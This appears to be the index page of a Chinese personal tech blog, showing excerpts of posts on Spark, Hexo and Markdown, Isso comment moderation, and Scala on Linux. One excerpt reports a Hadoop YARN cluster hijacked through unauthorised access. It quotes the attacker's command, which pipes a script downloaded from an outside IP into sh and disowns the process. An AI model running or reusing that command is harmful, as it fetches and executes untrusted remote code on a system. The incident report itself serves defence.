zhangnew

Spark DataSet DateFrame 操作

发表于 2018-05-09 | 分类于大数据， Spark | 阅读次数：

本文基于 Spark 2.x，除特殊说明，代码均为 Scala

Hadoop Yarn 未授权访问导致被攻击

发表于 2018-05-02 | 分类于大数据， Hadoop | 阅读次数：

最近利用 Ambari 重新搭建了一个集群，今天发现 ResourceManager UI 里面有一些奇怪的作业，类型是 yarn，由 dr.who 提交的名为 MYYARN 的作业，最早从2018年4月30日开始，每隔几分钟就有一个，作业内容完全一样。

里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown"，IP 来自俄罗斯，俄罗斯的黑客真是厉害呢。

阅读全文 »

使用小书匠写 MarkDown 文档 Hexo 博客

发表于 2018-03-11 | 分类于 Blog System ， Hexo | 阅读次数：

小书匠是一个功(zhong)能(liang)强(ji)大的 MarkDown 文档编辑器，除了支持常规的 MarkDown 语法，还要很多扩展语法（代码高亮，gfm ，脚注，上标，下标，文字高亮，注音 ruby ，缩写定义，表格，emoji 表情，文字插入，文字居中，todo ，视频，音频，附件，属性，表格，合并单元格式表格，mathjax 数学公式，plantuml uml 图，mermaid 时序图，流程图，甘特图等，sequence 时序图，codeChunks 代码块执行，wavedrom ，nunjucks ，plot 统计图），多种编辑器，主题，以及自定义CSS等功能，支持印象笔记、Github、Dropbox 等，以及常见的各种图床。功能详见官网

轻量级的需求可以直接在官网上用在线版的就可以了，要想获取完整的体验还是需要下载客户端，全平台支持的（nwjs 开发的），非开源，其 Github 只是提 Issue 用的。

阅读全文 »

微信审核开源评论系统 Isso 的评论

发表于 2017-05-01 | 分类于 Blog System | 阅读次数：

前面我们部署了开源评论系统 Isso，开源评论系统 Isso 全攻略。做过博客、论坛的人都知道，垃圾评论满天飞，所以要对评论进行审核，然后再显示出来。这篇文章我们来实现如何使用微信来审核评论。

阅读全文 »

Linux 终端编写 Scala Spark 程序

发表于 2017-04-13 | 分类于大数据， Spark | 阅读次数：

一直使用 Windows 下的 IDEA 做 Scala Spark 程序开发，打包后用 WinSCP 上传到服务器运行，很麻烦，所以就想在 Linux 服务器上部署 Scala、SBT 来编写 Spark 程序。再编写一些简单脚本，肯定可以使编译、打包、运行一气呵成。当然了，也是有缺点的，就是没有了 IDE，写代码就困难了（哭）。还有就是 vim 的支持情况，默认是不识别 scala 文件的。